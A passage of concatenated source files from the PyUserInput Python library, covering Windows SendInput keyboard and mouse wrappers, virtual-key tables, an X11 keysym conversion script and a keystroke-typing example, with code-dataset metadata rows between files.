author_email='pablo.barton@gmail.com',
url='https://github.com/SavinaRoja/PyUserInput',
package_dir = {'': '.'},
packages = ['pykeyboard', 'pymouse'],
license='http://www.gnu.org/licenses/gpl-3.0.html',
keywords='mouse,keyboard user input event',
)
def dependency_check(dep_list):
for dep in dep_list:
try:
__import__(dep)
except ImportError:
print('Missing dependency, could not import this module: {0}'.format(dep))
#Check for dependencies
if sys.platform == 'darwin': # Mac
dependency_check(['Quartz', 'AppKit'])
elif sys.platform == 'win32': # Windows
dependency_check(['win32api', 'win32con', 'pythoncom', 'pyWinhook'])
else: # X11 (LInux)
dependency_check(['Xlib'])
| 1,330 | Python | .py | 37 | 30.594595 | 86 | 0.661491 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,858 | winex.py | SavinaRoja_PyUserInput/reference_materials/winex.py | import ctypes
LONG = ctypes.c_long
DWORD = ctypes.c_ulong
ULONG_PTR = ctypes.POINTER(DWORD)
WORD = ctypes.c_ushort
class MOUSEINPUT(ctypes.Structure):
_fields_ = (('dx', LONG),
('dy', LONG),
('mouseData', DWORD),
('dwFlags', DWORD),
('time', DWORD),
('dwExtraInfo', ULONG_PTR))
class KEYBDINPUT(ctypes.Structure):
_fields_ = (('wVk', WORD),
('wScan', WORD),
('dwFlags', DWORD),
('time', DWORD),
('dwExtraInfo', ULONG_PTR))
class HARDWAREINPUT(ctypes.Structure):
_fields_ = (('uMsg', DWORD),
('wParamL', WORD),
('wParamH', WORD))
class _INPUTunion(ctypes.Union):
_fields_ = (('mi', MOUSEINPUT),
('ki', KEYBDINPUT),
('hi', HARDWAREINPUT))
class INPUT(ctypes.Structure):
_fields_ = (('type', DWORD),
('union', _INPUTunion))
def SendInput(*inputs):
nInputs = len(inputs)
LPINPUT = INPUT * nInputs
pInputs = LPINPUT(*inputs)
cbSize = ctypes.c_int(ctypes.sizeof(INPUT))
return ctypes.windll.user32.SendInput(nInputs, pInputs, cbSize)
INPUT_MOUSE = 0
INPUT_KEYBOARD = 1
INPUT_HARDWARD = 2
def Input(structure):
if isinstance(structure, MOUSEINPUT):
return INPUT(INPUT_MOUSE, _INPUTunion(mi=structure))
if isinstance(structure, KEYBDINPUT):
return INPUT(INPUT_KEYBOARD, _INPUTunion(ki=structure))
if isinstance(structure, HARDWAREINPUT):
return INPUT(INPUT_HARDWARE, _INPUTunion(hi=structure))
raise TypeError('Cannot create INPUT structure!')
WHEEL_DELTA = 120
XBUTTON1 = 0x0001
XBUTTON2 = 0x0002
MOUSEEVENTF_ABSOLUTE = 0x8000
MOUSEEVENTF_HWHEEL = 0x01000
MOUSEEVENTF_MOVE = 0x0001
MOUSEEVENTF_MOVE_NOCOALESCE = 0x2000
MOUSEEVENTF_LEFTDOWN = 0x0002
MOUSEEVENTF_LEFTUP = 0x0004
MOUSEEVENTF_RIGHTDOWN = 0x0008
MOUSEEVENTF_RIGHTUP = 0x0010
MOUSEEVENTF_MIDDLEDOWN = 0x0020
MOUSEEVENTF_MIDDLEUP = 0x0040
MOUSEEVENTF_VIRTUALDESK = 0x4000
MOUSEEVENTF_WHEEL = 0x0800
MOUSEEVENTF_XDOWN = 0x0080
MOUSEEVENTF_XUP = 0x0100
def MouseInput(flags, x, y, data):
return MOUSEINPUT(x, y, data, flags, 0, None)
VK_LBUTTON = 0x01 # Left mouse button
VK_RBUTTON = 0x02 # Right mouse button
VK_CANCEL = 0x03 # Control-break processing
VK_MBUTTON = 0x04 # Middle mouse button (three-button mouse)
VK_XBUTTON1 = 0x05 # X1 mouse button
VK_XBUTTON2 = 0x06 # X2 mouse button
VK_BACK = 0x08 # BACKSPACE key
VK_TAB = 0x09 # TAB key
VK_CLEAR = 0x0C # CLEAR key
VK_RETURN = 0x0D # ENTER key
VK_SHIFT = 0x10 # SHIFT key
VK_CONTROL = 0x11 # CTRL key
VK_MENU = 0x12 # ALT key
VK_PAUSE = 0x13 # PAUSE key
VK_CAPITAL = 0x14 # CAPS LOCK key
VK_KANA = 0x15 # IME Kana mode
VK_HANGUL = 0x15 # IME Hangul mode
VK_JUNJA = 0x17 # IME Junja mode
VK_FINAL = 0x18 # IME final mode
VK_HANJA = 0x19 # IME Hanja mode
VK_KANJI = 0x19 # IME Kanji mode
VK_ESCAPE = 0x1B # ESC key
VK_CONVERT = 0x1C # IME convert
VK_NONCONVERT = 0x1D # IME nonconvert
VK_ACCEPT = 0x1E # IME accept
VK_MODECHANGE = 0x1F # IME mode change request
VK_SPACE = 0x20 # SPACEBAR
VK_PRIOR = 0x21 # PAGE UP key
VK_NEXT = 0x22 # PAGE DOWN key
VK_END = 0x23 # END key
VK_HOME = 0x24 # HOME key
VK_LEFT = 0x25 # LEFT ARROW key
VK_UP = 0x26 # UP ARROW key
VK_RIGHT = 0x27 # RIGHT ARROW key
VK_DOWN = 0x28 # DOWN ARROW key
VK_SELECT = 0x29 # SELECT key
VK_PRINT = 0x2A # PRINT key
VK_EXECUTE = 0x2B # EXECUTE key
VK_SNAPSHOT = 0x2C # PRINT SCREEN key
VK_INSERT = 0x2D # INS key
VK_DELETE = 0x2E # DEL key
VK_HELP = 0x2F # HELP key
VK_LWIN = 0x5B # Left Windows key (Natural keyboard)
VK_RWIN = 0x5C # Right Windows key (Natural keyboard)
VK_APPS = 0x5D # Applications key (Natural keyboard)
VK_SLEEP = 0x5F # Computer Sleep key
VK_NUMPAD0 = 0x60 # Numeric keypad 0 key
VK_NUMPAD1 = 0x61 # Numeric keypad 1 key
VK_NUMPAD2 = 0x62 # Numeric keypad 2 key
VK_NUMPAD3 = 0x63 # Numeric keypad 3 key
VK_NUMPAD4 = 0x64 # Numeric keypad 4 key
VK_NUMPAD5 = 0x65 # Numeric keypad 5 key
VK_NUMPAD6 = 0x66 # Numeric keypad 6 key
VK_NUMPAD7 = 0x67 # Numeric keypad 7 key
VK_NUMPAD8 = 0x68 # Numeric keypad 8 key
VK_NUMPAD9 = 0x69 # Numeric keypad 9 key
VK_MULTIPLY = 0x6A # Multiply key
VK_ADD = 0x6B # Add key
VK_SEPARATOR = 0x6C # Separator key
VK_SUBTRACT = 0x6D # Subtract key
VK_DECIMAL = 0x6E # Decimal key
VK_DIVIDE = 0x6F # Divide key
VK_F1 = 0x70 # F1 key
VK_F2 = 0x71 # F2 key
VK_F3 = 0x72 # F3 key
VK_F4 = 0x73 # F4 key
VK_F5 = 0x74 # F5 key
VK_F6 = 0x75 # F6 key
VK_F7 = 0x76 # F7 key
VK_F8 = 0x77 # F8 key
VK_F9 = 0x78 # F9 key
VK_F10 = 0x79 # F10 key
VK_F11 = 0x7A # F11 key
VK_F12 = 0x7B # F12 key
VK_F13 = 0x7C # F13 key
VK_F14 = 0x7D # F14 key
VK_F15 = 0x7E # F15 key
VK_F16 = 0x7F # F16 key
VK_F17 = 0x80 # F17 key
VK_F18 = 0x81 # F18 key
VK_F19 = 0x82 # F19 key
VK_F20 = 0x83 # F20 key
VK_F21 = 0x84 # F21 key
VK_F22 = 0x85 # F22 key
VK_F23 = 0x86 # F23 key
VK_F24 = 0x87 # F24 key
VK_NUMLOCK = 0x90 # NUM LOCK key
VK_SCROLL = 0x91 # SCROLL LOCK key
VK_LSHIFT = 0xA0 # Left SHIFT key
VK_RSHIFT = 0xA1 # Right SHIFT key
VK_LCONTROL = 0xA2 # Left CONTROL key
VK_RCONTROL = 0xA3 # Right CONTROL key
VK_LMENU = 0xA4 # Left MENU key
VK_RMENU = 0xA5 # Right MENU key
VK_BROWSER_BACK = 0xA6 # Browser Back key
VK_BROWSER_FORWARD = 0xA7 # Browser Forward key
VK_BROWSER_REFRESH = 0xA8 # Browser Refresh key
VK_BROWSER_STOP = 0xA9 # Browser Stop key
VK_BROWSER_SEARCH = 0xAA # Browser Search key
VK_BROWSER_FAVORITES = 0xAB # Browser Favorites key
VK_BROWSER_HOME = 0xAC # Browser Start and Home key
VK_VOLUME_MUTE = 0xAD # Volume Mute key
VK_VOLUME_DOWN = 0xAE # Volume Down key
VK_VOLUME_UP = 0xAF # Volume Up key
VK_MEDIA_NEXT_TRACK = 0xB0 # Next Track key
VK_MEDIA_PREV_TRACK = 0xB1 # Previous Track key
VK_MEDIA_STOP = 0xB2 # Stop Media key
VK_MEDIA_PLAY_PAUSE = 0xB3 # Play/Pause Media key
VK_LAUNCH_MAIL = 0xB4 # Start Mail key
VK_LAUNCH_MEDIA_SELECT = 0xB5 # Select Media key
VK_LAUNCH_APP1 = 0xB6 # Start Application 1 key
VK_LAUNCH_APP2 = 0xB7 # Start Application 2 key
VK_OEM_1 = 0xBA # Used for miscellaneous characters; it can vary by keyboard.
# For the US standard keyboard, the ';:' key
VK_OEM_PLUS = 0xBB # For any country/region, the '+' key
VK_OEM_COMMA = 0xBC # For any country/region, the ',' key
VK_OEM_MINUS = 0xBD # For any country/region, the '-' key
VK_OEM_PERIOD = 0xBE # For any country/region, the '.' key
VK_OEM_2 = 0xBF # Used for miscellaneous characters; it can vary by keyboard.
# For the US standard keyboard, the '/?' key
VK_OEM_3 = 0xC0 # Used for miscellaneous characters; it can vary by keyboard.
# For the US standard keyboard, the '`~' key
VK_OEM_4 = 0xDB # Used for miscellaneous characters; it can vary by keyboard.
# For the US standard keyboard, the '[{' key
VK_OEM_5 = 0xDC # Used for miscellaneous characters; it can vary by keyboard.
# For the US standard keyboard, the '\|' key
VK_OEM_6 = 0xDD # Used for miscellaneous characters; it can vary by keyboard.
# For the US standard keyboard, the ']}' key
VK_OEM_7 = 0xDE # Used for miscellaneous characters; it can vary by keyboard.
# For the US standard keyboard, the 'single-quote/double-quote' key
VK_OEM_8 = 0xDF # Used for miscellaneous characters; it can vary by keyboard.
VK_OEM_102 = 0xE2 # Either the angle bracket key or the backslash key on the RT 102-key keyboard
VK_PROCESSKEY = 0xE5 # IME PROCESS key
VK_PACKET = 0xE7 # Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP
VK_ATTN = 0xF6 # Attn key
VK_CRSEL = 0xF7 # CrSel key
VK_EXSEL = 0xF8 # ExSel key
VK_EREOF = 0xF9 # Erase EOF key
VK_PLAY = 0xFA # Play key
VK_ZOOM = 0xFB # Zoom key
VK_PA1 = 0xFD # PA1 key
VK_OEM_CLEAR = 0xFE # Clear key
KEYEVENTF_EXTENDEDKEY = 0x0001
KEYEVENTF_KEYUP = 0x0002
KEYEVENTF_SCANCODE = 0x0008
KEYEVENTF_UNICODE = 0x0004
KEY_0 = 0x30
KEY_1 = 0x31
KEY_2 = 0x32
KEY_3 = 0x33
KEY_4 = 0x34
KEY_5 = 0x35
KEY_6 = 0x36
KEY_7 = 0x37
KEY_8 = 0x38
KEY_9 = 0x39
KEY_A = 0x41
KEY_B = 0x42
KEY_C = 0x43
KEY_D = 0x44
KEY_E = 0x45
KEY_F = 0x46
KEY_G = 0x47
KEY_H = 0x48
KEY_I = 0x49
KEY_J = 0x4A
KEY_K = 0x4B
KEY_L = 0x4C
KEY_M = 0x4D
KEY_N = 0x4E
KEY_O = 0x4F
KEY_P = 0x50
KEY_Q = 0x51
KEY_R = 0x52
KEY_S = 0x53
KEY_T = 0x54
KEY_U = 0x55
KEY_V = 0x56
KEY_W = 0x57
KEY_X = 0x58
KEY_Y = 0x59
KEY_Z = 0x5A
def KeybdInput(code, flags):
return KEYBDINPUT(code, code, flags, 0, None)
def HardwareInput(message, parameter):
return HARDWAREINPUT(message & 0xFFFFFFFF,
parameter & 0xFFFF,
parameter >> 16 & 0xFFFF)
def Mouse(flags, x=0, y=0, data=0):
return Input(MouseInput(flags, x, y, data))
def Keyboard(code, flags=0):
return Input(KeybdInput(code, flags))
def Hardware(message, parameter=0):
return Input(HardwareInput(message, parameter))
################################################################################
import string
UPPER = frozenset('~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?')
LOWER = frozenset("`1234567890-=qwertyuiop[]\\asdfghjkl;'zxcvbnm,./")
ORDER = string.ascii_letters + string.digits + ' \b\r\t'
ALTER = dict(zip('!@#$%^&*()', '1234567890'))
OTHER = {'`': VK_OEM_3,
'~': VK_OEM_3,
'-': VK_OEM_MINUS,
'_': VK_OEM_MINUS,
'=': VK_OEM_PLUS,
'+': VK_OEM_PLUS,
'[': VK_OEM_4,
'{': VK_OEM_4,
']': VK_OEM_6,
'}': VK_OEM_6,
'\\': VK_OEM_5,
'|': VK_OEM_5,
';': VK_OEM_1,
':': VK_OEM_1,
"'": VK_OEM_7,
'"': VK_OEM_7,
',': VK_OEM_COMMA,
'<': VK_OEM_COMMA,
'.': VK_OEM_PERIOD,
'>': VK_OEM_PERIOD,
'/': VK_OEM_2,
'?': VK_OEM_2}
def keyboard_stream(string):
mode = False
for character in string.replace('\r\n', '\r').replace('\n', '\r'):
if mode and character in LOWER or not mode and character in UPPER:
yield Keyboard(VK_SHIFT, mode and KEYEVENTF_KEYUP)
mode = not mode
character = ALTER.get(character, character)
if character in ORDER:
code = ord(character.upper())
elif character in OTHER:
code = OTHER[character]
else:
continue
raise ValueError('String is not understood!')
yield Keyboard(code)
yield Keyboard(code, KEYEVENTF_KEYUP)
if mode:
yield Keyboard(VK_SHIFT, KEYEVENTF_KEYUP)
################################################################################
import time, sys
def main():
time.sleep(5)
for event in keyboard_stream('o2E^uXh#:SHn&HQ+t]YF'):
SendInput(event)
time.sleep(0.1)
##if __name__ == '__main__':
## main()
def switch_program():
SendInput(Keyboard(VK_MENU), Keyboard(VK_TAB))
time.sleep(0.2)
SendInput(Keyboard(VK_TAB, KEYEVENTF_KEYUP),
Keyboard(VK_MENU, KEYEVENTF_KEYUP))
time.sleep(0.2)
def select_line():
SendInput(Keyboard(VK_SHIFT, KEYEVENTF_EXTENDEDKEY),
Keyboard(VK_END, KEYEVENTF_EXTENDEDKEY))
time.sleep(0.2)
SendInput(Keyboard(VK_SHIFT, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP),
Keyboard(VK_END, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP))
time.sleep(0.2)
def copy_line():
SendInput(Keyboard(VK_CONTROL), Keyboard(KEY_C))
time.sleep(0.2)
SendInput(Keyboard(VK_CONTROL, KEYEVENTF_KEYUP),
Keyboard(KEY_C, KEYEVENTF_KEYUP))
time.sleep(0.2)
def next_line():
SendInput(Keyboard(VK_HOME), Keyboard(VK_DOWN))
time.sleep(0.2)
SendInput(Keyboard(VK_HOME, KEYEVENTF_KEYUP),
Keyboard(VK_DOWN, KEYEVENTF_KEYUP))
time.sleep(0.2)
def prepare_text():
# Open Text
SendInput(Keyboard(KEY_M))
time.sleep(0.2)
SendInput(Keyboard(KEY_M, KEYEVENTF_KEYUP))
time.sleep(0.2)
# Goto Area
SendInput(Keyboard(VK_TAB))
time.sleep(0.2)
SendInput(Keyboard(VK_TAB, KEYEVENTF_KEYUP))
time.sleep(0.2)
# Paste Message
SendInput(Keyboard(VK_CONTROL), Keyboard(KEY_V))
time.sleep(0.2)
SendInput(Keyboard(VK_CONTROL, KEYEVENTF_KEYUP),
Keyboard(KEY_V, KEYEVENTF_KEYUP))
time.sleep(0.2)
# Goto Button
SendInput(Keyboard(VK_TAB))
time.sleep(0.2)
SendInput(Keyboard(VK_TAB, KEYEVENTF_KEYUP))
time.sleep(0.2)
def send_one_message():
select_line()
copy_line()
next_line()
switch_program()
prepare_text()
# Send Message
SendInput(Keyboard(VK_RETURN))
time.sleep(0.2)
SendInput(Keyboard(VK_RETURN, KEYEVENTF_KEYUP))
time.sleep(10)
switch_program()
def send_messages(total):
time.sleep(10)
for _ in range(total):
send_one_message() | 14,988 | Python | .py | 377 | 35.350133 | 278 | 0.565647 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,859 | xlib-keysyms-to-python.py | SavinaRoja_PyUserInput/reference_materials/xlib-keysyms-to-python.py | #!/usr/bin/env python
# coding: utf-8
# Copyright 2015 Moses Palmér
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the Free
# Software Foundation, either version 3 of the License, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program. If not, see <http://www.gnu.org/licenses/>.
"""
Converts the file xlib-keysyms.txt to a Python mapping from character to
symbol name.
"""
import os
#: The path to the input file
INPUT_PATH = os.path.join(
os.path.dirname(__file__),
'xlib-keysyms.txt')
#: The path to the output file
OUTPUT_PATH = os.path.join(
os.path.dirname(__file__),
os.path.pardir,
'pykeyboard',
'x11_keysyms.py')
def lines():
"""Yields all lines in the input file.
"""
with open(INPUT_PATH) as f:
for line in f:
yield line.rstrip()
def keysym_lines():
"""Yields all lines in the input file containing a keysym definition.
"""
for line in lines():
if not line:
# Ignore empty lines
continue
elif line[0] == '#':
# Ignore lines starting with '#'; it is also used to separate
# keysym information from its name, but in the first position it is
# used to mark comments
continue
else:
yield line
def keysym_definitions():
"""Yields all keysym definitions parsed as tuples.
"""
for keysym_line in keysym_lines():
# As described in the input text, the format of a line is:
# 0x20 U0020 . # space /* optional comment */
keysym_number, codepoint, status, _, name_part = [
p.strip() for p in keysym_line.split(None, 4)]
name = name_part.split()[0]
yield (int(keysym_number, 16), codepoint[1:], status, name)
def keysyms_from_strings():
"""Yields the tuple ``(character, symbol name)`` for all keysyms.
"""
for number, codepoint, status, name in keysym_definitions():
# Ignore keysyms that do not map to unicode characters
if all(c == '0' for c in codepoint):
continue
# Ignore keysyms that are not well established
if status != '.':
continue
yield (codepoint, name)
if __name__ == '__main__':
with open(OUTPUT_PATH, 'w') as f:
f.write('''# coding: utf-8
# Copyright 2015 Moses Palmér
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the Free
# Software Foundation, either version 3 of the License, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program. If not, see <http://www.gnu.org/licenses/>.
KEYSYMS = {
%s}
''' % ',\n'.join(
' u\'\\u%s\': \'%s\'' % (codepoint, name)
for codepoint, name in keysyms_from_strings()))
| 3,537 | Python | .py | 94 | 32.680851 | 79 | 0.668516 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,860 | virtual_keystroke_example.py | SavinaRoja_PyUserInput/reference_materials/virtual_keystroke_example.py | #Giant dictionary to hold key name and VK value
VK_CODE = {'backspace':0x08,
'tab':0x09,
'clear':0x0C,
'enter':0x0D,
'shift':0x10,
'ctrl':0x11,
'alt':0x12,
'pause':0x13,
'caps_lock':0x14,
'esc':0x1B,
'spacebar':0x20,
'page_up':0x21,
'page_down':0x22,
'end':0x23,
'home':0x24,
'left_arrow':0x25,
'up_arrow':0x26,
'right_arrow':0x27,
'down_arrow':0x28,
'select':0x29,
'print':0x2A,
'execute':0x2B,
'print_screen':0x2C,
'ins':0x2D,
'del':0x2E,
'help':0x2F,
'0':0x30,
'1':0x31,
'2':0x32,
'3':0x33,
'4':0x34,
'5':0x35,
'6':0x36,
'7':0x37,
'8':0x38,
'9':0x39,
'a':0x41,
'b':0x42,
'c':0x43,
'd':0x44,
'e':0x45,
'f':0x46,
'g':0x47,
'h':0x48,
'i':0x49,
'j':0x4A,
'k':0x4B,
'l':0x4C,
'm':0x4D,
'n':0x4E,
'o':0x4F,
'p':0x50,
'q':0x51,
'r':0x52,
's':0x53,
't':0x54,
'u':0x55,
'v':0x56,
'w':0x57,
'x':0x58,
'y':0x59,
'z':0x5A,
'numpad_0':0x60,
'numpad_1':0x61,
'numpad_2':0x62,
'numpad_3':0x63,
'numpad_4':0x64,
'numpad_5':0x65,
'numpad_6':0x66,
'numpad_7':0x67,
'numpad_8':0x68,
'numpad_9':0x69,
'multiply_key':0x6A,
'add_key':0x6B,
'separator_key':0x6C,
'subtract_key':0x6D,
'decimal_key':0x6E,
'divide_key':0x6F,
'F1':0x70,
'F2':0x71,
'F3':0x72,
'F4':0x73,
'F5':0x74,
'F6':0x75,
'F7':0x76,
'F8':0x77,
'F9':0x78,
'F10':0x79,
'F11':0x7A,
'F12':0x7B,
'F13':0x7C,
'F14':0x7D,
'F15':0x7E,
'F16':0x7F,
'F17':0x80,
'F18':0x81,
'F19':0x82,
'F20':0x83,
'F21':0x84,
'F22':0x85,
'F23':0x86,
'F24':0x87,
'num_lock':0x90,
'scroll_lock':0x91,
'left_shift':0xA0,
'right_shift ':0xA1,
'left_control':0xA2,
'right_control':0xA3,
'left_menu':0xA4,
'right_menu':0xA5,
'browser_back':0xA6,
'browser_forward':0xA7,
'browser_refresh':0xA8,
'browser_stop':0xA9,
'browser_search':0xAA,
'browser_favorites':0xAB,
'browser_start_and_home':0xAC,
'volume_mute':0xAD,
'volume_Down':0xAE,
'volume_up':0xAF,
'next_track':0xB0,
'previous_track':0xB1,
'stop_media':0xB2,
'play/pause_media':0xB3,
'start_mail':0xB4,
'select_media':0xB5,
'start_application_1':0xB6,
'start_application_2':0xB7,
'attn_key':0xF6,
'crsel_key':0xF7,
'exsel_key':0xF8,
'play_key':0xFA,
'zoom_key':0xFB,
'clear_key':0xFE,
'+':0xBB,
',':0xBC,
'-':0xBD,
'.':0xBE,
'/':0xBF,
'`':0xC0,
';':0xBA,
'[':0xDB,
'\\':0xDC,
']':0xDD,
"'":0xDE,
'`':0xC0}
def press(*args):
'''
one press, one release.
accepts as many arguments as you want. e.g. press('left_arrow', 'a','b').
'''
for i in args:
win32api.keybd_event(VK_CODE[i], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE[i],0 ,win32con.KEYEVENTF_KEYUP ,0)
def pressAndHold(*args):
'''
press and hold. Do NOT release.
accepts as many arguments as you want.
e.g. pressAndHold('left_arrow', 'a','b').
'''
for i in args:
win32api.keybd_event(VK_CODE[i], 0,0,0)
time.sleep(.05)
def pressHoldRelease(*args):
'''
press and hold passed in strings. Once held, release
accepts as many arguments as you want.
e.g. pressAndHold('left_arrow', 'a','b').
this is useful for issuing shortcut command or shift commands.
e.g. pressHoldRelease('ctrl', 'alt', 'del'), pressHoldRelease('shift','a')
'''
for i in args:
win32api.keybd_event(VK_CODE[i], 0,0,0)
time.sleep(.05)
for i in args:
win32api.keybd_event(VK_CODE[i],0 ,win32con.KEYEVENTF_KEYUP ,0)
time.sleep(.1)
def release(*args):
'''
release depressed keys
accepts as many arguments as you want.
e.g. release('left_arrow', 'a','b').
'''
for i in args:
win32api.keybd_event(VK_CODE[i],0 ,win32con.KEYEVENTF_KEYUP ,0)
def typer(string=None,*args):
## time.sleep(4)
for i in string:
if i == ' ':
win32api.keybd_event(VK_CODE['spacebar'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['spacebar'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '!':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['1'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['1'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '@':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['2'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['2'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '{':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['['], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['['],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '?':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['/'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['/'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == ':':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE[';'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE[';'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '"':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['\''], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['\''],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '}':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE[']'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE[']'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '#':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['3'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['3'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '$':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['4'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['4'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '%':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['5'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['5'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '^':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['6'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['6'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '&':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['7'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['7'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '*':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['8'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['8'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '(':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['9'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['9'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == ')':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['0'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['0'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '_':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['-'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['-'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '=':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['+'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['+'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '~':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['`'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['`'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '<':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE[','], 0,0,0)
time.sleep(.05)
